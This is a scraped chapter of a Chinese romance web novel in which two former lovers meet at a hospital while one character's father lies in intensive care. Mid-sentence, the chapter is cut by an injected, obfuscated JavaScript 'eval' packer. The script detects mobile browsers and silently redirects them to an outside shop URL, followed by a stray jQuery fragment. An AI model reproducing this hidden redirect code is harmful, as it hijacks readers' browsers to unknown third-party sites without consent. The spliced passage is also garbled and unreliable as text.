文趣网 > 都市小说 > 往何处逃 > 16.第 16 章
    梁昧仪的心怦怦直跳。

    此时此刻,郝缇那神经病的发言完全被她抛到了脑后。

    她满脑子只想,谢柯佻生病了么?大半夜还在医院,难道是很严重的病么?

    怪不得前两天都没有联系自己。

    而自己呢,一点都不知道,沉溺在自己的感情里,自艾自怜。

    她后悔又愧疚,赶到医院,匆匆跑进门诊大厅。

    便看见谢柯佻和甄屿知并排坐着,沉默不语的模样。

    甄屿知看起来有点尴尬,一看见梁昧仪过来了,连忙站起来,走到梁昧仪面前道:“哈哈昧昧,我我这边也有事呢,我先走了,那个、那个有些事我嘴快说出来了,真不是故意的,你别怪我。”

    梁昧仪一脸懵:“你说了什么?”

    “就你先前酒精上瘾去医院的事……”

    不等梁昧仪发火,甄屿知已经一溜烟跑了,梁昧仪大脑空白,愣愣望向谢柯佻。

    谢柯佻也正看着她。

    对方坐在椅子上,仰头看她,神情却很严肃,那素雅而冷淡的脸庞,在严肃的时候更添几分锐利。

    梁昧仪呼吸一窒,几乎有些眩晕。

    谢柯佻偶尔会有这样严肃的时候,特别是最开始教她的时候。

    在发现自己故意偷懒之后,对方第一次露出严肃的神情,一脸认真道:“如果你继续这样下去,我也不知道怎么教你了,收钱也收得不安,我还是去辞职吧。”

    梁昧仪听了,又震惊又好笑。

    这么点钱,她本来以为只能算是给自己找了个玩伴,对方却突然摆出一副严师的架子来,叫她目瞪口呆。

    但是莫名奇妙的,心跳又开始加速。

    像是有个小小的钟摆,悬在心口不断地晃悠,晃得她开始眩晕起来。

    她诡异地变得乖巧,看着谢柯佻道:“谢老师,我不会再这样了。”

    当然,很快故态重萌。

    但她确信自己有时期待谢柯佻严厉地对待她,就像此时此刻,前几天的疯狂痛苦绝望被她甩在了脑后,她走到谢柯佻的面前,低声乖巧道:“你怎么了,生病了么?”

    谢柯佻张口欲言,话卡在嗓子眼,又没说出来。

    她想起自己现在的身份。

    脑海中回想起甄屿知说的话——

    “……什么时候,四五年前,二十出头吧,我记得我那时候刚认识她,还以为她是个疯子,每天喝了吐吐了喝的,哪有这种喝法……开始想着找她一起玩,后来也怕了,直到有一天,她把自己喝进了医院,她妈就把她关了起来……”

    说到这的时候,因为看见梁昧仪到了,甄屿知停住了话头。

    五年前,二十岁。

    那个时间点,显然就是她们分开的时候。

    会是因为自己么?

    这个想法也许有点自恋,但是如果造成这般痛苦的就是自己,那自恋带来的比起得意,更多的便是痛苦和愧疚。

    但如果不是因为自己,又会是因为什么呢?

    想到有什么另外的东西在对方心上留下深刻的印记,又莫名不甘起来。

    谢柯佻望着梁昧仪,心头百转千回,到底没提,只是也不愿提自己的事。

    她已经太过狼狈,实在不愿用在梁昧仪面前显示出更多的可怜,她不知道这多余的自尊心到底有没有意义,但或许这是让她在对方面前仍能维持镇定的唯一方式。

    不然……她不知道自己会难堪到什么模样。

    于是沉默半晌道:“不是我,是我爸,做一些检查,也……也没什么大事。”

    梁昧仪松了口气,心想不是谢柯佻看病就好。

    她装作关心:“叔叔年纪大了,就算小事也要注意一下。”

    谢柯佻勉强抬了抬嘴角,又想起刚才在电话里听到的。

    犹豫了一下,到底还是忍不住问:“刚才你在电话里是不是提到了一个人?”

    梁昧仪早把刚才说的话忘了,茫然道:“谁?”

    “郝缇……是这个人么?”

    对方的口中怎么会吐出这个名字呢?

    梁昧仪觉得两者的差别如同马里亚纳海沟的深度。

    大概是她疑惑的表情太明显,谢柯佻就紧接着道:“如果是叫这个名字的话,和我先前认识的人很像。”

    “哦,你先前……”梁昧仪有点明白过来,便说,“是的,是叫做郝缇,写起来是……”

    谢柯佻下意识伸出手心来。

    梁昧仪心头一颤,一下子明白了谢柯佻的意思。

    就好像以前那样,碰到不认识的字,梁昧仪写在谢柯佻的手心。

    薄而骨感的手掌,像是一张揉皱的白纸,那清晰的掌纹便是白纸上的褶皱,手指秀窄修长而又指节分明,手指的尖端则泛着樱花瓣般的粉红色。

    梁昧仪在褶皱上写字,一笔一划,要是写错了,谢柯佻捏住她的手指,说:“不对,不是这个字。”

    直到有一天谢柯佻不让写了,给出的借口是太痒。

    对方说这话的时候目光躲闪,梁昧仪后来知道,这就是对方已经对自己产生别样的心意。

    直到后来确定关系,这又变成某种更亲昵的举动,梁昧仪描摹对方的掌纹,用指甲尖把对方的感情线和生命线划得更长。

    那么此刻对方伸出手掌代表着什么呢?

    是亲昵,还是已经毫不在意?

    总感觉是后者的可能性更高。

    想着这些,动作难免停顿了片刻,谢柯佻也就在这两秒的功夫回过神来,意识到自己做了什么。

    她意识到自己果然是饱受打击,以至于精神恍惚,做出如此不合时宜的举动来。

    她下意识说“抱歉”,然后想要收回手。

    下一秒手腕却被紧紧抓住。

    对方抓得是如此紧,以至于骨节凸起泛白,滚烫的掌心甚至叫她产生一种被灼伤的错觉。

    她抬头,看见梁昧仪眼睫低垂,沉默地在她手心上一笔一划。

    像是在进行一场仪式,指尖轻轻划过,像是羽毛带来一阵瘙痒,旋即变作一串微弱的电流,飞速传遍全身的神经。

    谢柯佻的每一寸肌肉都不受控制的绷紧,脑海中像是飘扬起遮天蔽日的柳絮,叫所有的思绪都被掩埋在一片白茫茫之中。

    只在偶然的空隙,谢柯佻意识到自己被压在对方手指下的脉搏正在加速跳动。

    她实在害怕被瞧出端倪来,于是情不自禁收拢手指,将对方的手握住了。

    梁昧仪写了一半。

    写完偏旁后,她开始觉得在谢柯佻手心写别人的名字有点怪怪的,于是迟迟没有继续写下去。

    幸好谢柯佻将她制止了。

    微凉的掌心,像是干燥的枯树叶,好一会儿,谢柯佻松开手将手收回去,又开口:“是这个字,我想我可能认识她。”

    梁昧仪看着谢柯佻松手,遗憾又紧张,故作镇定道:“她挺显眼,染了一头红发。”

    谢柯佻沉默了一下,半晌开口:“是她。”

    “你们什么关系?”

    “算是……曾经合作过吧。”

    “哦,她是个怪人。”

    梁昧仪姑且没把话说的太难听,但眼中还是露出不屑的神情,想到对方刚才给自己造成的精神创伤,忍不住吐槽道:“所以说,我是真的需要你帮忙,如果我有女朋友,我妈就不会给我介绍那样的神经……怪人。”

    谢柯佻后知后觉意识到这话是什么意思,瞪大眼睛正要说什么,手机响了起来。

    谢柯佻看见来电,明显浑身一震,连忙接起来,听筒那头隐约传来哭腔——

    “你爸醒了,桃桃你来一下……”

    谢柯佻心头莫名发凉,勉强抽出一丝神智来,对梁昧仪道:“我妈叫我了,我、我先过去。”

    梁昧仪忙道:“那我也过去看看……”

    “不要!!”

    梁昧仪愣在原地。

    对方的拒绝是如此强烈,简直像是用一柄沉重的斧子在两人中间砸下了清晰的分界。

    强烈的震动令梁昧仪的手脚都仿佛发麻,她呆了好一会儿,都没听清谢柯佻后面说了什么,回过神来,谢柯佻的背影已经消失在拐角。

    指甲嵌入掌心的疼痛令她回过神,她才发现自己紧紧捏住拳头。

    不觉露出一抹讽刺的笑来。

    是吧,又过界了。

    ……

    谢柯佻一路狂奔。

    直到看

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794173|209528||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    见重症监护室的字样,心脏已经仿佛在喉腔呼之欲出。

    她看见柯杜薇拿着手机跑了过来,然后将手机塞到了自己的手里。

    “你爸、你爸醒了,护士说可以视频通话一下,他说有话要跟你说。”

    谢柯佻握住手机。

    屏幕里是面色苍白的带着呼吸机的老人,实际上,和印象里判若两人。

    头发和眉毛都已经花白,脸上的皮肉萎缩凹陷,不知不觉已经老成这样。

    对方看起来还不算太清醒,但看见她的时候,眼神中的迷茫稍稍退去,有了些焦点。

    随即含糊其辞地吐出一些字眼来。

    谢柯佻将声音放大,耳朵靠向听筒努力地听,终于听到了对方模糊的话语——

    “桃桃,别救了,桃桃,算了……”

    谢柯佻愣在原地,她望向母亲,想要告诉对方父亲似乎开始在说胡话,却见母亲捂着脸,无声地颤抖着肩膀。

    谢柯佻在这一刻知道,这是他们共同的决定。

    比起痛苦,最先浮现在心头的是不理解。

    她近乎冷酷地反问:“怎么呢?不想活了?”

    柯杜薇声音颤抖:“别说了,别说了。”

    “不,我想说清楚。”

    “我和你爸、商量好了,如果复查结果不好,就算了……”

    谢柯佻提高声音:“都还没有复查呢!”

    柯杜薇摇了摇头:“进ICU了也一样。”

    谢柯佻又开始眩晕,这次甚至无法把握平衡,她后退了半步,靠在了冰凉的墙上。

    墙太冷了,她的身体发抖,冰冷从脊背蔓延到全身,让她身上的每一寸肌肤仿佛都冰冻起来。

    她不受控制地想起梁昧仪。

    她想起梁昧仪捏住她手腕的手掌。

    那手是温暖的。

    “……我们也想给你留一点东西,现在至少还留着一套房子,好么,桃桃,没有意义了。”

    谢柯佻愤怒到口不择言:“到这一步说这些话干什么,那为什么不一开始就别告诉我!”

    意识到自己说了什么的时候她鄹然噤声,看见柯杜薇露出受伤的神情来。

    谢柯佻又想起来了。

    积木被扔掉的一个月后,父亲买来全新的正版乐高积木。

    那天晚上对方喝得醉醺醺的,但看起来很开心,将熟睡的谢柯佻叫醒,把积木放在她的怀里。

    “你喜欢这个对吧,桃桃。”

    被吵醒的不快烟消云散,那份喜悦像是颗种子被埋进了心里。

    在某一刻生长出根茎,变成了支撑自己的力量。

    亲人究竟是什么呢?

    谢柯佻想。

    互相伤害的,又总是保有温情。

    互相关怀的,但一不留神又变成了控制。

    被血缘维系起来的关系,既脆弱又坚韧到不可思议。

    明明以为已经饱受折磨到像被烈火焚烧,却又在灰烬里翻出闪光的宝石来。

    她按住母亲的肩膀,艰难哑声道:“不要放弃,好么?”

    柯杜薇叹息道:“桃桃,其实我一直知道,你看起来刚强,其实心最软……”

    是说服的话。

    谢柯佻不愿再听,说了一句“我回来之前不准放弃”,转身离开。

    她的大脑一片空白,但下意识跑到了门诊大厅。

    刚才的位置上空无一人,当然,梁昧仪已经走了。

    她思考着自己到底要做什么,念头渐渐清晰,她想去签那份恋爱协议。

    她为自己寻找一些不那么卑劣的理由。

    是了,梁昧仪也需要自己的帮助。

    按对方先前那话的意思,郝缇似乎是她母亲介绍的对象。

    但郝缇绝不是一个好的对象。

    谢柯佻拿出手机,手指颤抖着想要拨通梁昧仪的语音通话,一不小心却点成了视频。

    视频很快接通。

    屏幕上露出梁昧仪冷漠的面孔,对方语气淡淡道:“有事么?”

    谢柯佻正要说话,看见屏幕的边缘,红色的发丝一闪而过。

    将出口的话语立刻改变了内容,谢柯佻轻声开口:“昧昧,是我的错,不要生气了。”